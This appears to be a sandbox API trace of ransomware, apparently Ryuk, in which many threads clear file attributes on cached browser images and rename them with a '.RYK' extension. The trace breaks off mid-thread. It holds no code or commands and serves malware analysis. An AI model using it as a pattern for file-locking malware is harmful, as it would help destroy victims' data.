	[0284.252] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB1CcOi[1].png", dwFileAttributes=0x80) returned 0
	[0284.252] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB1CcOi[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb1ccoi[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.252] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.252] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB1CcOi[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb1ccoi[1].png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB1CcOi[1].png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb1ccoi[1].png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3786
	os_tid = 0x824

	[0284.253] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB46JmN[1].png", dwFileAttributes=0x80) returned 0
	[0284.253] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB46JmN[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb46jmn[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.254] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.254] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB46JmN[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb46jmn[1].png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB46JmN[1].png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb46jmn[1].png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3787
	os_tid = 0x3b90

	[0284.255] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kJAC[1].png", dwFileAttributes=0x80) returned 0
	[0284.255] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kJAC[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5kjac[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.255] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.255] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kJAC[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5kjac[1].png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kJAC[1].png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5kjac[1].png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3788
	os_tid = 0x3d18

	[0284.256] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kTiV[1].png", dwFileAttributes=0x80) returned 0
	[0284.256] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kTiV[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5ktiv[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.256] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.257] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kTiV[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5ktiv[1].png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB5kTiV[1].png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb5ktiv[1].png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3789
	os_tid = 0x188c

	[0284.444] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB6Ma4a[1].png", dwFileAttributes=0x80) returned 0
	[0284.444] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB6Ma4a[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb6ma4a[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.444] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.444] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB6Ma4a[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb6ma4a[1].png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB6Ma4a[1].png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb6ma4a[1].png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3802
	os_tid = 0x3e90

	[0284.445] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB74fLs[1].png", dwFileAttributes=0x80) returned 0
	[0284.446] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB74fLs[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb74fls[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.446] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.446] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB74fLs[1].png" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb74fls[1].png"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BB74fLs[1].png.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bb74fls[1].png.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3803
	os_tid = 0x3e54

	[0284.447] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBIqq8[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.447] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBIqq8[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbiqq8[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.447] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.447] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBIqq8[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbiqq8[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBIqq8[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbiqq8[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3804
	os_tid = 0x3e8c

	[0284.448] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBL0ij[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.448] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBL0ij[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbl0ij[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.448] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.449] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBL0ij[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbl0ij[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBL0ij[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbl0ij[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3805
	os_tid = 0x3e10

	[0284.450] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBLhZX[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.450] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBLhZX[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbblhzx[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.450] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.450] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBLhZX[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbblhzx[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBLhZX[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbblhzx[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3806
	os_tid = 0x3cdc

	[0284.451] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBNiEo[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.452] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBNiEo[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbnieo[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.452] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.452] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBNiEo[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbnieo[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBNiEo[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbnieo[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3807
	os_tid = 0x3cd8

	[0284.453] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO1mQ[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.453] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO1mQ[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo1mq[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.453] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.453] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO1mQ[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo1mq[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO1mQ[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo1mq[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3808
	os_tid = 0x3de0

	[0284.454] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO3tl[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.454] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO3tl[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo3tl[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.454] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0284.454] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO3tl[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo3tl[1].jpg"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO3tl[1].jpg.RYK" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo3tl[1].jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 3809
	os_tid = 0x3d14

	[0284.456] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO8dQ[1].jpg", dwFileAttributes=0x80) returned 0
	[0284.456] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temporary Internet Files\\Low\\Content.IE5\\9QH4S0GZ\\BBBO8dQ[1].jpg" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temporary internet files\\low\\content.ie5\\9qh4s0gz\\bbbo8dq[1].jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0284.456] CloseHandle (hObject=0xffffffffffffffff) returned 0
